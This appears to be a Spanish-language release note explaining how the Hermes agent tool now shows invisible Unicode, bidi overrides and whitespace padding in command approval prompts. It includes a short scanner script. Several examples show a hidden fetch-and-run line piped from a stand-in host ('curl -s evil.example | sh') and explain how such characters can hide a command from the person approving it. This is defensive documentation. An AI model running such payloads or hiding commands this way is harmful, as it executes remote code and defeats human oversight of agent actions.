El prompt de aprobación te estaba mintiendo: Hermes ya muestra los caracteres ocultos y el relleno

Es la 1 de la mañana y estás cerrando el día. Un compañero pega en el chat un comando para “limpiar el directorio de build”. Lo copias, lo pegas en la terminal y Hermes te pide que lo apruebes. Le echas un vistazo a la línea, lees rm -rf ./build y pulsas permitir. Pero esa línea también llevaba dos caracteres que no puedes ver: un espacio de ancho cero y una anulación bidireccional que invierte la dirección de todo lo que viene después — seguida de curl -s evil.example | sh. Lo que se ejecutó no es lo que aprobaste.
No es un experimento mental. Las terminales y las ventanas de chat no tienen ninguna defensa contra los caracteres invisibles. Los caracteres de ancho cero hacen que dos cadenas distintas se vean idénticas. Una anulación bidireccional puede mostrar la segunda mitad de una línea al revés: ese es el truco detrás de la familia de ataques “Trojan Source”. Los escapes ANSI pueden borrar la pantalla, saltar el cursor al inicio de la línea y sobrescribir lo que acabas de leer. Y unos cientos de espacios bastan para empujar la cola peligrosa fuera de la ventana visible, o más allá del recorte a 200 caracteres de una tarjeta de chat.
La aprobación es el único punto de control humano de toda esa cadena. Si lo que muestra difiere de lo que ejecuta, el punto de control no existe.
Un mismo comando puede verse como A y ejecutarse como B
Empecemos por el mecanismo. El prompt de aprobación recibe la cadena de comando en crudo y la pinta en pantalla. El problema está en el pintado: se pierde información.
- Espacio de ancho cero (U+200B), joiner de ancho cero (U+200D), guion suave (U+00AD): se dibujan con ancho cero. No ves nada, pero siguen formando parte de la cadena.
- Anulaciones y aislamientos bidireccionales (U+202A–U+202E, U+2066–U+206F): cambian el orden de visualización del texto que viene después, de modo que una carga maliciosa al final puede leerse como una limpieza inofensiva.
- Selectores de variación (U+FE00–U+FE0F) y el bloque de etiquetas U+E0000: son invisibles por diseño; el bloque de etiquetas es una vía habitual para colar instrucciones ocultas.
- Bytes de control en crudo: una secuencia de escape ANSI/OSC puede borrar una línea o mover el cursor, y un
\rsuelto hace que la segunda mitad de una línea sobrescriba la primera. - Relleno con espacios: cientos de espacios ASCII, o espacios de ancho completo (U+3000) y no separables (U+00A0), empujan la cola real más allá del borde del panel o del recorte de una vista previa.
Nada de esto es exótico. Copia un comando de una página web, de un hilo de issues o de un registro de chat y los caracteres invisibles se vienen con él. Los README envenenados y los fragmentos de “instalador en una línea” son los vehículos de siempre.
Qué hace el arreglo: volver visible lo invisible
El cambio vive en agent/redact.py y añade dos funciones. sanitize_command_for_display() convierte el contenido oculto en escapes visibles; redact_approval_display() aplica primero el ocultamiento de secretos y después ese saneador. Todos los lugares que dibujan un prompt de aprobación usan ahora la segunda.
Las reglas, tal como están implementadas:
| Contenido | Lo que ves ahora |
|---|---|
| Ancho cero, controles bidireccionales, selectores de variación, caracteres de etiqueta, bytes de control | Se muestran como escapes, por ejemplo \u200b, \u202e, \U000e0041, \x1b |
| 21 o más caracteres de espacio consecutivos en medio de una línea, después de texto visible | Se reducen a ⟨+N whitespace chars⟩ |
| 65 o más caracteres de espacio consecutivos al inicio de la línea | El mismo marcador; la indentación real no se toca |
| 4 o más líneas en blanco consecutivas | Se reducen a ⟨+N blank lines⟩ |
| Indentación normal, tabuladores, saltos de línea, texto corriente (en cualquier idioma) | Sin cambios, byte por byte |
Los umbrales no son arbitrarios. Veintiún espacios en medio de una línea y sesenta y cinco al principio quedan muy lejos de cualquier indentación que escriba una persona, y justo en el rango que se usa para sacar contenido de la vista.
Así, un comando con un espacio de ancho cero y una anulación bidireccional delante de la carga real antes se veía como un limpio rm -rf ./build. Ahora se ve así:
⚠️ Approval required
rm -rf ./build\u200b\u202e; curl -s evil.example | sh
Y a una línea rellenada con 300 espacios se le devuelve la cola dentro de los primeros 200 caracteres:
echo ok ⟨+300 whitespace chars⟩curl -s evil.example | sh
Dónde se aplica
Un solo arreglo, todas las superficies: el prompt clásico de la CLI y sus callbacks, la tarjeta de aprobación que la gateway publica en las plataformas de chat, el cuerpo pendiente de execute_code, los transportes de aprobación de plugins y la costura _redact_approval_command en gateway/run.py, el punto de entrada compartido que hay detrás de las tarjetas de mensajería, la TUI, Desktop y el servidor de API. Esa costura llama a la nueva función con force=True, así que la limpieza de caracteres ocultos se aplica incluso con security.redact_secrets desactivado (el ocultamiento de secretos también puede forzarse ahí).
Si alguna vez has aprobado un comando dentro de Discord, Slack o Telegram, esa tarjeta ahora lleva los escapes.
El límite que importa: solo pantalla
Conviene tener claro qué no es esto, o lo leerás mal y creerás que el comando se reescribe:
- Los bytes que se ejecutan no cambian. No se reescribe nada en tiempo de ejecución.
- La evaluación del modo inteligente lee el comando en crudo, no la copia saneada.
- Las claves de patrón de la lista de permitidos se calculan a partir del comando en crudo, así que “permitir siempre” no se desalinea por un cambio en la visualización.
Dicho de otro modo: esto te permite ver, no decide por ti. Un comando peligroso de por sí sigue siendo peligroso aunque se muestre con exactitud; tienes que denegarlo. Y los comandos que el modo inteligente aprueba directamente nunca muestran un prompt, así que esto solo cubre los prompts que una persona llega a ver.
Cómo usarlo: nada que configurar
No hay interruptor ni clave de configuración. Vive en la ruta de dibujado de aprobaciones y está activo por defecto. El PR #81403 se fusionó el 2026-11-01 y ya está en la v0.22.6 (2026-11-02): al actualizar queda activo; solo la v0.22.5 y anteriores no lo tienen.
Para ver el efecto por tu cuenta, pásale un comando con un carácter oculto (pega el espacio de ancho cero real donde abajo aparece \u200b), o audita los scripts que ya ejecutas:
import unicodedata
SUSPECT = set("\u200b\u200c\u200d\u2060\ufeff\u202a\u202b\u202c\u202d\u202e\u2066\u2067\u2068\u2069")
def scan(text):
for lineno, line in enumerate(text.splitlines(), 1):
hits = [(hex(ord(c)), unicodedata.name(c, "?")) for c in line if c in SUSPECT]
if hits:
print(lineno, hits)
scan(open("deploy.sh", encoding="utf-8").read())
Vale la pena pasar ese escaneo por los scripts de despliegue, las configuraciones de CI y cualquier comando de instalación que alguien te envíe.
Por qué importa un arreglo tan pequeño
La fatiga de aprobaciones es real: cuando los prompts son constantes, la gente pulsa permitir por reflejo. Cuando el propio prompt se puede falsificar, pulsar permitir es firmar con los ojos cerrados. Este cambio no añade ninguna capa de seguridad nueva ni vuelve seguro un comando peligroso: realinea “lo que ves” con “lo que se va a ejecutar”. Para quien aprueba una docena de comandos al día, esa alineación vale más que otra regla.
Lecturas relacionadas: por qué un prompt de aprobación espera en lugar de caducar, y qué pasa cuando lo hace — consulta los prompts de aprobación esperan hasta que se responden y la reversión del tiempo de espera de aprobación. Si todavía no has configurado la política de aprobaciones, empieza por Aprobaciones inteligentes y la referencia del comando config. Y antes de desactivar las aprobaciones por completo, lee aprobaciones sin supervisión.